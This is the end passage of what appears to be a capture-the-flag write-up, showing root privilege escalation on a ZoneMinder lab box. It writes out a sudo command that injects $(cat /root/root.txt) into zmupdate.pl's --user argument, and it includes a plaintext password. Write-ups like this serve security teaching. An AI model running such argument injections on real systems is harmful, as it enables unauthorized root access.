src="https://cdn-images-1.medium.com/max/1024/1*dAcuNa8t6ZzBnJrqkyYIMQ.png" /></figure><p>Now by running <strong>sudo -l</strong> I found that we can run some perl file as sudo but only those that start with zm.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/507/1*g698deoZ5SLHLbC3_Hl58A.png" /></figure><p>So we need to check out what commands we can run.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/333/1*tftwOqYrOQBQV5-dIq2p-w.png" /></figure><p>After a couple of tries, I found that <strong>zmupdate.pl</strong> is vulnerable where you could insert executable code into the user.</p><pre>sudo /usr/bin/zmupdate.pl --version=1 --user=&#39;$(cat /root/root.txt)&#39; --pass=ZoneMinderPassword2023</pre><p>This allowed to run anything as root, and was able to print out the final root flag.</p><p>Thanks for reading!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3bc9be5e9732" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>